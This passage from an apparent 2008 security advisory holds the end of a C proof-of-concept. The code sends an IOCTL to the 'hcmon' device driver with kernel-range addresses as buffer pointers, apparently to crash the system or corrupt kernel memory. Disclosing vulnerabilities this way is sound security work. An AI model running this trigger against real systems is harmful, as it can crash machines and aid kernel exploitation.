bResult = DeviceIoControl(hDevice,  // device to be queried
                             Ioctl,
                           (PVOID)InputBuffer,
                           InputLen,
                           (PVOID)OutputBuffer,
                           OutputLen,     // output buffer
                           &junk,                 // # bytes returned
                           (LPOVERLAPPED)NULL);  // synchronous I/O

if(!bResult){
      TextError("DeviceIoControl");
}

CloseHandle(hDevice);

return TRUE;
}

int main(int argc, char *argv[])
{
    DWORD Ioctl, Input, ILen, Output, OLen;
    DWORD SSDT;
    char *ptr;

    if(TestIOCTL("\\\\.\\hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){
        printf("You should not see this");
    }
    else{
        printf("Failed to open device");
    }

     return 0;
}

- - PGP -

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Permission is hereby granted to redistribute this advisory, providing
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(c) 2008 www.orange-bat.com
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